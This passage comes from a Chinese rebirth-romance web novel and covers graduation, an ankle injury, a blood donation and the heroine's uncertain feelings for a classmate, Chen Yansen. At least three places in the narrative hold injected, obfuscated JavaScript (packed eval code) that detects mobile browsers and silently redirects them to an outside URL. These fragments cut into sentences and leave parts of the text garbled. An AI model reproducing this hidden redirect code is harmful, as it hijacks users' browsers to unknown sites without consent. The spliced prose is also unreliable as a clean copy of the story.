我可以很肯定地回答你:来得及。 人在任何情况下都不能放弃,只要还有时间,还有机会,我们就紧紧把握住。今天恶补上这个落下的知识点,明天啃下这篇文言文,这时候一看倒计时,我们还有97天。 我说了这么多,你们可能都认为我会以一句振奋人心的话语来作结尾,那可就猜错了。这应该是我最后一次站在这里跟大家说话,所以我想借着这个机会,说点自己心里话。” 她看了张级长一眼,后者向她点点头,示意她可以随意发挥。 “这个社会不存在绝对的核心竞争力,也不存在永远的胜利者,真正的核心能力是有失败后再站起来的勇气。解不开的题,我们看着答案多分析就是了;难记的知识点,我们多背几次,不行的话再抄几次。失败也没关系的,但希望你我不要气馁,永远有再站起来的勇气。” 她深吸一口气,挤出一个微笑:“谢谢大家,祝我们高考成功。” 说完,她后退一步,弯腰鞠躬的那一刻,眼泪汹涌而出。 十年后我们回头看,会发现曾经以为最难过的一关,在人生长河里是那么小的一个星点。 比起祝你们高考成功,我更想祝你们会喜欢十年后的自己。 了解自己、面对自己、喜欢自己,这是伴随一生的课题。 我活了这么久,似乎也还没能完成这个课题。 但她不能这么说,仗着自己多活几年的经历,以上帝视角说这些太像说教,就让大家各自体验自己的人生吧。 更何况,他们的人生才刚开始,吓他们干嘛呢。 一张纸巾从旁侧递来,林舒透过泪眼一瞥,就认出是作为理科第一,跟她一同国旗下讲话的陈彦森。 那晚后,一方担心再触及她的伤心事,一方认为不便再打扰对方,各怀心事的两人很有默契地没有再提起那件事。不过,他们的关系比起之前缓和了不少,虽比不上高一最开始那会这么亲近,但现在见面会打招呼,国旗下讲话也提前对稿防止撞话题。 因此,她不抗拒被他看到自己脆弱的一面,也不抗拒接受他的好意。 “谢谢。”她转身背对台下,保持着低头的姿势,迅速抹泪,余光瞥见原本站在半米远的人悄然走到她身边,张开手臂搭在发言台上,将自己挡得严严实实的。 谢谢你,陈彦森。 这句,她偷偷在心里说。 …… 考试结束钟声响起,监考老师按顺序挨个将学生的卷子收起,而后在讲台上复核卷子数量。几十双眼睛紧紧盯着老师,等待着老师们清点完毕,点点头,众人便欢呼着跑出这个他们认为禁锢了自己十几年的教室,奔向理想中的新天地。 林舒已全然没有这番心境,随着人流淡定地回到教室,一脚踢到硬邦邦的东西,低头发现是一本英语词典,再抬头时刚好一张卷子从半空中落在她头上。 班上同学们奋力把书本撕成碎片,用力往上抛,白花花的纸张像雪花一般落下。林舒张开手,一片纸屑落在她手掌心,是一个被撕开的单词:mour,剩下的“n”字母不知去了何处。 mourn(vt.&vi.)哀悼;忧伤。 今天是开心的日子,为什么会忧伤呢? 余热正一股脑将抽屉里的书本倒出,回头看见林舒呆呆站着,便喊她:“林舒!一起来呀!” 林舒回过神来,朝她笑笑:“你们玩,我收拾东西。”说着,她把自己的书箱从教室后面拉过来,将抽屉里的书整齐地放进去。 余热不解并大为震撼:“你在收拾什么?” “我要把书全带回家。” “不是……为啥呀?这书还能有啥用?” “嗯……”林舒的大脑飞速运转。她是想着万一之后去支教、做义工能用上这些书和笔记,但不能这么跟余热说,就随便编了个借口:“当作纪念吧!” 余热一拍大腿:“对啊,我怎么没想到呢!我们高一15班都没留下大合照当作纪念。” 她翻出手机一顿操作,林舒口袋里的手机震动一下,弹出余热发在高一班群的信息:【同学们,十分钟后升旗台集合。】 紧接着,手机“滋滋”震动个不停,数条信息同一时间弹出,大家响应热烈: 【对啊,我们都没拍过集体大合照!】 【叫上宋老师吧。】 【还有张级长。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126686|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 林舒跟着余热到升旗台,已经有不少同学在候着了。余热急急忙忙去排队形,林舒失去同伴,与热闹的氛围显得格格不入,便一个人靠在最边上的柱子发呆。 “嘿!”有人在身后喊了一声,想吓她。 但林舒没被吓到,回头看到是祁相宜,只点点头,算是打招呼。 但祁相宜对于这打招呼模式感到不满,撅着嘴抱怨道:“林舒,你对我好冷漠哦!” “我没有。”林舒脸上还是没什么表情,但是语气很温和。 “你有你有你就是有!你不仅对我冷漠,还对所有人冷漠,对这个世界都冷漠。”祁相宜说,“舒舒,我怀念以前那个贪玩爱笑的你。” 祁相宜直来直去的,藏不住心事。她早就察觉到林舒的变化,但是余热拦着不让她问,说每个人都有秘密,既然林舒选择沉默,那作为她的朋友就该跟她站在同一阵线,共同守卫这个秘密。 但是,刚刚祁相宜走出教学楼,看着远处一个小白点靠在柱子上,若不是校服衣领上蓝色的蝴蝶结随风飘起,她都要觉得那个小白点要跟身后的柱子融为一体了。 她朝升旗台走去,小白点逐渐变得清晰,这下她看清了,小白点是她那好久不笑的好朋友。怪不得她会觉得这个小白点与柱子融为一体,因为林舒已经在这个世界上当背景板当了很久了,久到大家都忘了曾经有这么一个聪明漂亮、活泼明媚的女孩。 林舒听到祁相宜说这番话,感到有些意外,抬眼对上她的视线,发现对方的眼睛里充满难以言表的悲伤,不禁困惑地皱皱眉,张嘴刚想说什么,就被对方抢先说了:“舒舒,为什么你看起来这样悲伤?” 为什么呢? 也许是因为意识到再也不会见到那个爱她胜于一切的陈彦森,意识到这个世界里只有她背负着过去所有的记忆,意识到离开陈彦森会让他过得更好。 也许是因为意识到自己深藏着龌龊的私心,为着一个外人看来艳羡的完整家庭的虚名、自私地期望一直活在父母的羽翼下的私心,不顾为她牺牲了几世的妈妈的感受,差点就让这个错误的家庭继续错下去。 思绪翻涌之际,耳边传来同学们的交谈声: “这次之后,也不知道我们什么时候会再见面了。” “你这小子,要出国了还高考,以后放假常回来找我们玩啊。” “不过我之后也不会考虑在南苑读大学。” …… 她站在告别声中,觉得自己被巨大的悲伤淹没。 “就是有点,”林舒忍住涌上胸腔的酸楚,艰难说话,“有点舍不得你们。” 祁相宜看到她快要哭了,眼眶也跟着红了,上前抱住她:“怎么说这话啊,我们只是毕业了,又不是不再见面了,以后还可以多约出来玩啊。” “好,”这次,林舒没有反驳,而是附和道,“以后多约出来玩。” 这时,余热一个大嗓门吸引所有人目光:“集合啦!排成四排,女生前两排,男生后两排。” 一顿闹哄声下,所有人找好了位置站好,林舒被祁相宜拉着站在第二排最右边,她往后看了看,陈彦森站在第一排最左边。 有些时日没见到他了,感觉他瘦了一些,侧脸轮廓硬朗分明,喉结凸出,轻轻抬起下巴,一脸漫不经心地直视前方,浑然天成的倔强和疏离感让他多了几分成年男子的魅力。她忍不住多看了两眼。 “来来来,全体都有,看镜头!”余热又喊一嗓子,林舒连忙收回目光,看向前方镜头。 “茄子——” 咔擦一声,定格下所有人18岁的模样。 55. 第五世(十八) 拍完大合照,林舒回宿舍收拾东西。虽然住了三年,但是高中生生活单调,除了日常洗漱用品、床单被褥和几件换洗的衣服,就没啥可收拾的了。她把装好的棉被摆在一边,将其他东西塞进登山包里,刚准备扛起就走,抬头却见林不帆喘着气出现在宿舍门口。 自他们离婚后,林舒以学业繁忙为由拒绝与林不帆见面,并拉黑了他的手机号码,也因此没有收到他说要来接她的短信。 肩上一个包,手上提一袋,再加教室里一个书箱,她已经做好一个人坐公交转地铁回家了。冷不丁的,一个计划外的人出现在她面前。 似乎很久没见,又似乎昨日才见过,他的样子没有太大变化,看来日子过得还算滋润。想到这,林舒心中怒火起,自顾自地背上书包,弯腰想要拿起棉被,却被林不帆抢了主动权。 林舒皱起眉,刚想说“我自己可以”,余热正好从外面回来,看了他们一眼,大大咧咧地喊了声“叔叔好!”,化解了他们之间的尴尬和单方面的剑拔弩张。 “你好你好。”林不帆笑着说。 余热:“林舒,你爸爸真好,这么快就来帮你搬行李了。我爸估计才刚从家里出发呢。” 祁相宜接话:“好歹你爸还来接你呢,我爸说这些东西都没用了,全扔了,人回来就行。” 林不帆脸上堆满笑容,对祁相宜说:“你家里住哪?叔叔先送你回去。” “啊不用不用,”祁相宜连连摆手,“我其实也不打算把这些带回家了,就装几件衣服,一个书包就能搞定。” 林不帆:“没啥行李也没关系,叔叔送你能更快回家。” “不用不用,太麻烦您了。”祁相宜说。 他对她的同学一向都好,从前如此,现在也如此。 林舒见两人还在互相谦让,忍不住张口道:“反正也顺路,相宜,你就当陪陪我吧。” 祁相宜:“再推辞都不好意思了,那恭敬不如从命,我现在马上收拾东西。” 林不帆有些意外地看了林舒一眼,见后者依然没有开口要跟自己说话的意思,就拿起棉被,说道:“那你们慢慢收拾,我先把这个拿下去。” “我已经收拾好了,我跟你一起下去吧。”林舒走之前,对祁相宜说,“你待会去教学楼等我吧,我还要去一趟教学楼搬书箱。” “好。” 从宿舍出来,两父女一前一后走着,谁都没有先开口。窄窄的楼梯挤满了人,有人着急往上跑,有人抗着行李往下冲。林舒背着沉重的登山包,脚步虚浮,低着头只顾自己脚下的台阶,没看到迎面上来的家长狠狠撞上她的肩膀。她脚下踩空,一个踉跄险些从楼梯上滚下去。 林不帆及时地握住她的手,让她得以站稳,但刚刚那下踩空还是崴了脚,现在左脚正火辣辣地疼。 林不帆看到她龇牙咧嘴的,问道:“崴脚了?” “是。”林舒单脚跳到平台处的角落,靠在墙上,“我先缓一缓,你去车上等我吧。” 林不帆问:“你教室里是还有一箱书要拿回家吗?” “是。” “粉色的书箱?”这是高中开学的时候林不帆送她的书箱,按照林舒最喜欢的颜色买的。 “是。” 林不帆接过她背上的书包:“你在这休息一下,我晚点回来找你。”说完,不等林舒回答,他转身一头扎进人群中,几秒后便失去踪影。 他这一走,林舒反而松了口气。她没有预料到他会来接她,并没有提前做好心理准备,也不知道要如何面对他,应该跟他说些什么,这时的祁相宜成为她的救命稻草,她紧紧抓着不放,希望待会能靠祁相宜缓解这尴尬的气氛。 她弯下腰揉了揉脚踝,试着站立,只将脚轻轻碰地,便疼得她立刻缩回,恢复金鸡独立的姿势。 这实在太疼了。 她望向校门口方向,犯愁了。 林舒在原地站了一会,就看到祁相宜从楼上下来,背着书包戴着耳机,提着一个袋子,蹦蹦跳跳的。 “祁相宜。”她叫住她。 “诶?”祁相宜摘下耳机,“你怎么在这?” “我刚刚扭到脚了。”林舒试着朝她走了一步,疼得她倒抽一口冷气,“你能不能扶我走到校门?” “哎呀你这,你听听你在说什么。”祁相宜匆匆收起耳机线,上前挽起她的右手,“我们是朋友,我俩之间不用这么客气的。” 林舒只笑了笑,没说话。 有祁相宜搀扶着,林舒一步步慢慢挪,虽然走得费劲,累得她出了一身汗,竟也走到宿舍楼下,穿过操场,校门口就在前方。 “叔叔!”身旁的祁相宜突然叫了一声。 林舒抬起头,见林不帆在不远处,一脸震惊地看着自己。那震惊程度让她以为自己脸上有什么脏东西,或者是她现在牵着一个男人的手。 “不是让你在原地等我吗?”他语气里有责怪的意思。 林舒觉得很好笑,有些不耐烦:“我在原地等你,也不会瞬移到校门口的,不还是要自己一步步走吗?” 林不帆看她一眼,没有说话,走到她面前突然转身蹲下:“上来,爸爸背你。” 在错愕中,她仿佛看到三岁的自己,在老家的巷子里,看着前方的动物粪便,怎么都不肯跨过去,林不帆二话不说将她背起。 现在,十几年过去了,林不帆再次在她面前蹲下。 既然是心疼她、在意她、疼爱她的话,为什么要做出不忠于家庭的事呢?为什么明知那一步是错的仍要走下去呢?为什么要亲手拆散这个家呢? 作为一个合格的父亲,他理应守护好这个家,但他根本没做到,还能称得上是一个尽职的父亲吗? 这段日子里,她回到只有妈妈的出租屋里,跟妈妈吃饭,常常会想起三人一起吃饭的时光,她伸手想要抓住,却在指尖即将要触碰的瞬间化为泡影。她怨恨他、责怪他将这一切美好摧毁。 重生回到这一世,她想在完成那一系列事情后,努力活下来,看到20号的太阳,在21号冬至那天一家人整整齐齐过冬。她从来、从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有时觉得他很关心自己,他会提出帮她罚抄,会给她补课,会带她去见恢复良好的宋心悦小朋友,会帮她把瓶瓶罐罐背到西沙村; 有时又觉得他对自己很冷漠,他会甩开她的手,会冷冷地说“我们没那么熟”,面无表情地看着她流泪。 林舒是真的分不清哪个才是真的他,哪个才是他真正要表露的情绪。 算了,不想了,林舒重重地摇了摇头。既然下定决心这一世要跟他保持距离,那就去拒绝他。 她马上回拨过去,可直到铃声结束对方也没有接起。 林舒到洗手间洗了把脸,整理了一下头发,就拖着一瘸一拐的左腿出门了。 她要当面拒绝他。 她住在城中村里,也就是俗称“握手楼”的地方,一栋楼紧挨着另一栋楼,连阳光都无法钻入。她侧身避开一辆迎面而来的电动车,又小心躲过滴下的空调水,行动不便使这些动作做起来更费劲,走了短短几步路已是气喘吁吁。 这里没有路灯,全靠每家每户透出的那点光亮,林舒没有留意到脚边有一块凸起的石头,不小心被绊了一下,眼看就要摔倒在地,忽然从身后传来摩托车引擎的声音,她被人拦腰搂住。 她错愕地,对上那双她认真看过千万次的眼睛。 “陈,陈彦森?” 56. 第五世(十九) 陈彦森骑着摩托车精准地停在林舒身边,伸手搂住差点要摔倒的她。 明亮的车灯照亮了幽黑的小巷子,也照亮了陈彦森眼底下的担忧。 他这是在担心我?林舒微微皱眉,心下生疑,他为什么会担心我? 正想着,腰间的手紧了紧,手的主人声音幽幽的:“你想要保持这个姿势多久?” “啊?” 她顿时反应过来,现在自己跟躺在他怀里没什么区别,脸刷一下变得通红,连忙站直身,却因为起身起得太急太快,踉跄了两步,扯动受伤的左脚脚踝,疼得她“嘶”了一声。 陈彦森马上捕捉到她的神情变化:“怎么了?” “脚崴了。” “怎么崴脚了?下午拍大合照的时候不是好好的吗?” “搬行李的时候……不是,陈彦森,”林舒想起自己出来的目的,“我出来是想告诉你……” 她话音未落,但见陈彦森朝她倾身,伸手搂住她的腰,一个侧身便将她放在后座,接着一拧油门,摩托车呜一声启动。这几个动作一气呵成,林舒甚至还没反应过来自己是怎么上车的,摩托车已驶出小巷子,在大马路上飞驰。 她因为慌乱而下意识搂住陈彦森的腰,大声喊:“陈彦森,你要带我去哪?” “不会卖了你。”陈彦森侧头说,“坐稳了。” 此话刚落,林舒明显感觉到摩托车再一次加速,她不禁又搂了搂身前的人。 算了,任他去哪吧,任他去天边,去世界尽头,只要有他在就好。 摩托车停在一间店铺前。 林舒站在店铺前,仰头看牌匾:豹哥跌打馆。 豹哥?这名字听起来自带90年代香港古惑仔风。 “进去。”陈彦森攥着她的手腕,生怕她逃走似的,推开跌打馆的大门。 林舒与迎出来的男人一打照面,一声“标哥”险些喊出口。 上一世大学的时候,陈彦森带她去校外的标哥烧烤店吃烧烤,她跟老板标哥讲过几句话,对他有印象。现在站在前面的这个男人,跟标哥如同一个模子印出来似的,可以用一模一样来形容。 “豹哥,”陈彦森朝他点点头,“我同学崴脚了,帮她看看是什么情况。” 豹哥指了指里屋:“进去坐着。” 陈彦森搀着林舒进去坐下。 豹哥指了指她前面的架子:“哪只脚受伤?放上去。” 林舒乖乖听话,把左脚放在架子上。她仔细观察豹哥,虽然他跟标哥长得很像,但是性格却是大相径庭。 “豹哥,”她试探问,“您是有个兄——” “弟”字还未说出口,脚踝处突然一道强劲力度压迫,那股疼痛瞬间冲上天灵盖,疼得她瞬间噤声。 豹哥抬起眼皮看憋得脸都红透的女生,“这里疼是吧?” 林舒无声点头。 确认受伤位置后,豹哥抹上药酒,照灯,最后包扎好,嘱咐她明天再来。 “明天还来?”最近行动不便,她只想在家躺着哪都不去。 “还想不想好了?”豹哥斜眼看她,“现在的小孩怎么都不听话呢?” 谁小孩了?林舒心里一嘟囔,按实际年龄你可比我大不了几岁。 “还是开烧烤店好,大家都是开开心心去。不像这跌打馆,来这的都是病患者。”说着,豹哥掀开帘子走出去。 陈彦森伸手示意林舒可以向他借力起身,说:“他人是这样,刀子嘴豆腐心,也是想你按时来换药,早日康复。” 他这话刚落,外面传来豹哥的声音:“前台放了200块,你们去吃个烧烤吧。记住,牛肉、海鲜、鸡蛋这种发物别吃。” 陈彦森歪头看林舒,口型说:“你看,我没说错吧。” 他走到前台,看见两张崭新的百元大钞被压在招财猫下,从口袋里掏出一张百元纸币,叠在那两百元上面,朝屋内喊一句“豹哥,今天的费用我放这了,你记得来收”,就搀着林舒走出店铺。 林舒靠着摩托车,一边戴头盔一边说:“我今晚已经吃过了,不去吃烧烤了。” “你就一个人吃饭,能吃得多认真?”陈彦森戴好头盔,手指关节微微发力,扯紧带子,“一碗面,还是一碗粥?” 林舒哑口无言。 “上来吧,”陈彦森拍拍后座,“哥哥带你去吃好吃的。” “我不饿。”林舒坚定立场。为了让他这一世不再经历前几世不必经受的苦,她一定要跟他保持距离。 然而,她的肚子不合时宜地叫了,“咕”一声,让她的脸在一秒内红透。 陈彦森在头盔内嘴巴都咧到耳朵了,但还是努力憋笑:“走吧,别饿坏了。” 但他声音里的笑意没藏住,被林舒听出来了。 “你是在嘲笑我?” “我没有,我哪敢。” “我听到了,你分明是在笑我。” “我错了我错了,”他拍拍她的肩膀,“我不该笑。” “你完了,”林舒放下狠话,“我今天非得要把你吃破产。” “行行行,我就算留在店里做帮工也会让你吃饱,放心吧。” 但是林舒就是说说而已。 走进标哥烧烤店,坐在上一世坐过的位置,她百感交集,看着面前的食物迟迟不动筷子。 “不爱吃吗?”陈彦森见她一动不动,帮她盛东西,“虽然这干炒牛河少了牛肉,但是标哥的厨艺很不错的,还是很好吃的,你尝尝。” 他装了满满一碗炒河粉,放在她面前。 “快吃吧,”他的语气像哄小孩,“多吃有助于伤口恢复。” 两个时空的陈彦森重叠在一起,一起向林舒递来装得满满的一碗炒河粉,表情和语气都一模一样:“快吃吧。” 林舒马上低头,拿起筷子,只恨脸不能埋进碗里。 太像了! 他们分明是两个人,为什么会这么像啊! 这顿饭林舒吃得很沉默,直到陈彦森把她送回家楼下,她依旧抿唇保持沉默。 陈彦森见她不说话,倒是自顾自说起:“你明天有什么安排吗?” 这下林舒不得不说话,只得尽量简洁:“没有。” 心里想的是:脚都这样了,还能去哪呢? 陈彦森:“反正你明天还要去换药,我明早六点来接你吧。” “六点?!”林舒嗖地抬起头,瞪大眼睛,“早上六点去换药?” 这好不容易熬完五点起床的高三生活,高考完还要这么早起床,这谁受得了。 陈彦森一副计谋得逞的模样:“你终于有点反应了。” “你这是在逗我?” “那没有,我是真的打算明早六点接你去公园。” “我去公园?”林舒觉得难以置信,提高音量重复一遍,“我现在这样,去公园?” …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林舒一看,是一个七十多岁的奶奶穿着一套白色太极服,朝自己投来关切的眼神。她下意识想起身问好,手撑起来才意识到自己行动不便,悻悻然坐回轮椅上,对奶奶笑着说:“奶奶,早上好。” 奶奶:“是跟小森一块来的吗?” 原来她也认识陈彦森。林舒点点头,语气中带有幽幽的怨气:“那家伙,把我晾在这,自己跑去开心了。” “我倒是觉得,他今天的目的是带你来散心诶。”奶奶努努嘴,“喏,不信你看。” 林舒顺着奶奶的视线望去,竟然跟陈彦森的目光撞在一起。他这是一直看着她? 奶奶:“有的人嘴上说要练八段锦,心里还装着别人咯。” 不行,这误会大了,林舒觉得自己有必要解释清楚,她是打算不恋爱不结婚,但不能毁了陈彦森的姻缘。 她说:“奶奶,我跟他就是普通同学,不太熟的那种。” 奶奶没有顺着她的话往下说,而是问:“你觉得小森是一个怎样的人?” “他……”林舒沉思了一会,认真回答,“他面冷心热,表面上对任何事情都不在意,对谁都不在乎,实际上别人简单一句话他会记在心底,记好多好多年。” 奶奶一笑:“那我没猜错,你就是那个女孩子。” 见林舒一脸疑惑,她继续说:“他说,他心里有一个喜欢的女孩子,喜欢了很多年了。” 57. 第五世(二十) 回去的路上,林舒一言不发。 奶奶的话一直在她耳边回响: “他说,他喜欢的那个女孩自立自强、聪明勇敢,是世界上最厉害的女子,也是最懂他的女子。” “我问他,既然喜欢,那为什么不去追求呢?他苦笑一下,说,不敢说。怕一说,她就跑了。” “所以我自作主张,偷偷把他的心意告诉你,请你替我保守这个秘密。如果你不讨厌他,也可以试着给他一个机会,他真的是一个很好的孩子。” 林舒愕然,但很快反应过来,摇头说:“正如他所说,我漂亮又聪明,追我的人排到法国,才不要在一棵树上吊死呢。” “你相信奶奶,奶奶活了大半辈子,看人可准了,他是对的人。” 奶奶,您看人真的很准,于我而言,他是对的人。 但于他而言,我不是对的人。 我会给他带来灾祸,会让他体会得到后又彻底失去的痛苦滋味。既然相爱的两人注定无法长相厮守,那不如就不要开始。 陈彦森推着轮椅在公园里悠闲散步。今天天气很好,有阳光但不算猛烈,有风但不算强劲,就连温度都这么恰到好处,不冷不热,一切都刚刚好。 原本这一切都那么好。 但轮椅里的女孩自与奶奶道别后便沉默到现在。 他耐不住这可怕的沉默,主动打破:“早起出来走走是不是觉得心情特别舒畅?” 担心这句话换来的仍是沉默,他继续说:“以前读高中的时候,我每个周末都会来这里运动,起初是慢跑,后来就加入八段锦队伍了。” 说完,他屏住呼吸,等待女孩的回答。 “为什么选择八段锦呢?”女孩终于开口说话。 他松了口气,回答:“因为八段锦能静心。打一套短短十五分钟里,你可以什么都不去思考,任由脑袋空空如也,完全放松下来。” 林舒以为他说完了,没想到他突然又补充:“还因为,有一段很美好的回忆。” 美好的回忆。 关于八段锦,她也有一段美好的回忆。 17级台风过后,他们被困在海莲市,被困在家里,做毁的巴斯克蛋糕,芬芳四溢的泡面,她正愉快地吃着泡面,突然被告知第二天要早起练八段锦。于是美好的早晨没了,睡得正香甜的她被强制唤醒。她打着哈欠来到客厅,在那个人的带领下,一遍遍抠动作,在音乐中慢慢放松,压力得到释放。 不是回忆美,而是回忆里的人美。 她轻轻叹了口气。 陈彦森却会错意,慌乱说道:“虽然我不知道奶奶具体跟你说了什么,但如果是涉及到我,又涉及到一部分你,你不要放在心上。这个年纪的老人家比较热心,关心则乱。” 林舒低低应了一声,点了点头。 陈彦森又说:“你饿了吗?要不要去吃早餐?” 他这么一说,她确实觉得饿了,两人就去公园旁边的早餐店吃早餐。 从早餐店出来,林舒看到有辆献血车停在公园门口。 这一世重生回来三年,林舒忙于学业,其实没做什么积德的好人好事,现在凑巧看到献血车,当然是不能错过这个到眼前的好机会了。 “我要去献血。”她仰头跟陈彦森说。 陈彦森欲言又止,最终还是没有说话,扶她上了献血车。 护士问了诸如有没有吃早餐、一周内有没有饮酒或吃药之类的问题后,示意林舒坐上采血台。 护士:“是要献多少毫升呢?” 林舒眼都不眨:“300。” “你?300?”陈彦森惊得声音都提高了。 “我身体素质杠杠的,就300。”林舒肯定地点点头。 “那我献400毫升。”陈彦森在旁边坐下。 林舒看着采血护士给自己消毒,接着插入针头,看着血液透过管子缓缓流进血袋中,干瘪的血袋瞬间涨起充满生气。她侧头看向坐在旁边的陈彦森,猝不及防地落入对方的眼神中。 虽然上一世和这一世的陈彦森有着极高的重合点,长相、声音、动作、性格,但是她在心里是告诉自己:这是两个人,两个完全不一样的人,不要混淆了。 但就在刚刚,她困惑了。 这个眼神,上一世她看过千万遍。 如果这是两个完全不一样的人,为什么他们会有如此一模一样的眼神呢? 眼神是内心的投射,你不想说的话、你想要隐藏的真实情绪、你没有表露出来的情感都会自眼神中流出,透露出你最真实的状态。 奶奶的话又在她耳边响起:“他心里有一个喜欢的女孩子,喜欢了很多年了。” 难道,难道他跟上一世一样? 可是,他明明这样用力地甩开她的手,冷冷丢下一句“我们没那么熟”就扬长而去。 林舒蹙起眉,胸口一起一伏,觉得眼前忽明忽暗,世界在变得模糊起来。就在这时,耳边传来一个焦急的声音:“护士!护士!她晕倒了!” 接着一阵细簌声响,她感觉到自己的腿被抬高放在椅背上,人中也被掐着。渐渐地,她呼吸逐渐顺畅,意识回归,视线聚焦后再次看到那个眼神。 “陈彦森。”她低声喃喃道。 “我在。”他一把握住她的手腕,“你现在感觉怎么样?” “还可以。” “来,喝点葡萄糖。”护士递来一杯葡萄糖,林舒接过杯子,喝了几口,感觉整个人好多了。 护士又说:“你感觉如何?要停下吗?” 林舒问:“现在多少了?” “250cc。” “可以……” “继续”二字还没说出,一旁的陈彦森生硬打断她的话,说道:“不能再继续了。你身子本来就虚弱,万一出什么事怎么办?” 他这么说又挺有道理。这一世她的身体状况不如前几世,确实得悠着点儿,不然还没等见到李洛诗就噶了可怎么办。 “不好意思,那我就献这么多吧。”林舒面带歉意跟护士说。 “没问题,献多少都是你宝贵的心意。”护士一边拔去针头一边说:“你太瘦了,吃的又少,犯低血糖了。这几天注意休息,尽量多吃点东西。” “好。”林舒乖乖应道。 她坐在一旁等陈彦森,无聊翻阅桌上的宣传单,突然抬头问护士:“请问捐献造血干细胞有什么条件?” 重生三年间并没有做什么积德的事情,她现在实在有些焦虑。 护士:“最起码要符合献血条件,还有一些血液检查,合格者就可以成为造血干细胞捐献者。” 林舒:“那是去哪里报名呢?” 护士:“到街头采血车,或者是南苑分库定点HLA实验室报名、采样。你是有意愿要捐献吗?” “对。”林舒点头。 护士:“采样需要抽取8毫升静脉血血样做配型实验,我建议你最近先休息下,调理好身子再去。” “好的,谢谢。我还想问问遗体捐赠的问题……” 在她们谈话间,陈彦森献完血,完成包扎,不容分说拽住林舒的手腕,拉着她下车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145768|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “等、等一下,”林舒崴脚处还隐隐作痛,踉跄两步,“你拽疼我了。” “我还以为你不知道什么是疼。”陈彦森不松手,“你老想着捐这捐那,有没有考虑过你自己的身体是否真的能够承受?” 林舒:“护士姐姐刚刚不都说了吗?我调理好身子就行了。我现在只是血糖低,又没有其他问题,而且,无论是献血还是捐献造血干细胞,对不会影响个人健康的,这种好事为什么不能做呢?” 陈彦森:“我不是不让你做好人好事,而是你要衡量自己的状况。你得有好的身体、强健的体魄才能去帮人,而不是将自己透支,好像要一命换一命那样。你现在这样是自残式献爱心。” …… 林舒回到家里,坐在沙发上。她没有开灯,家中一片漆黑,但她并没有要开灯的打算。 从献血车下来后,陈彦森送她去跌打馆换了药,接着再把她送回家。 分别前,陈彦森说:“林舒,我不是要阻碍你做善事,也不是要左右你的想法,只是你曾经在我面前流着鼻血晕倒过,现在又再次晕倒,作为同学,我担心你的身体。” “同学。”林舒反刍着这个词,仰起脸,“可你以前跟我说过——”她学着他当年的语气说:“我们没那么熟。” 陈彦森一怔:“什么时候?” “高一那会,你从二楼跳下去,被张级长叫去办公室骂了好久。我等着你出来,问你为什么要伤害自己,你就对我说了这句话。”林舒记得清清楚楚。 “我这么贱?”陈彦森俯下身,攥着她的手腕,把她的手掌贴在自己脸上,“那你打我。” 林舒下意识往回缩手,却被对方用力攥紧动弹不得,愣愣地问:“我为什么要打你?” “因为我年少不懂事,说了伤害你的话。”少年的眼睛亮晶晶的,像是会说话的星星。 林舒心脏怦怦直跳,已不懂得思考,机械地抽回手,手忙脚乱翻出家里钥匙,慌乱起来连锁孔都对不准,最后还是陈彦森接过她手里的钥匙,帮她把门打开。 “再,再见。”她紧紧扶着门,担心他会跟着进来。 陈彦森看出她的潜在意思,后退一步:“好好休息,我明早来接你去公园。”不等她回答,他就匆匆下楼离开了。 此时林舒整个人陷进沙发里,几个问题像长条形的代码一样,在她的脑袋里不停穿梭,来回碰撞迸发出火花。 她重生回到高一的那段时间跟陈彦森关系明明很不错的,为什么后来陈彦森突然就疏远她了? 陪她去李奶奶家送空瓶子,得知她家里的情况,约她去图书馆写作业,带她去琴行,还把她不敢承认的心底话掏出来敞亮地说出来,看起来残忍实际上是帮助她认清自己内心。为什么明明已经疏远她了,他还要费尽心思做这些? 明明高考后他们就不会再有交集了,为什么他会突然打电话约她出来,得知她崴脚后立刻送她去跌打馆,现在管接管送的,比她自己还上心; 何况,现在不仅要管她的脚,还要每天早上带她去公园散心。还有,他这么紧张她的身体是为什么?奶奶说的他喜欢的那个人又真的是她吗? 难道,这一世的陈彦森,依然跟之前几世那样喜欢上她了? 若真是这样,他是什么时候、什么原因喜欢她的啊?她怎么一点都察觉到呢?感觉每个事件都发生得很突兀,他在两人关系很好的时候突然抽身离开,又突然在她困难的时候出现,短暂停留过后又离开,现在又再次闯进她的生活里。 陈彦森这是想干嘛啊? 58. 第五世(二十一) 关于这些问题,林舒想了一整晚都没想明白,第二天见到陈彦森时几次想开口最终都忍住了。 如果真的把事情敞开来说,他们还能继续维持现在的关系吗? 比普通同学关系更亲近,十分接近于朋友,没有达到友达以上恋人未满的程度,距离恋人很远。 她不愿意承认,但也不得不承认,实际上她内心是很渴望跟陈彦森一直待在一起的,到现在为止,她还记得上一世死前最后浮现的念头:我还没对他说出那句话。 揣着这个念头重生回到高中,在发生这一系列的事情之后,她突然不知道该怎么跟他相处了。 靠近他,担心他受伤害; 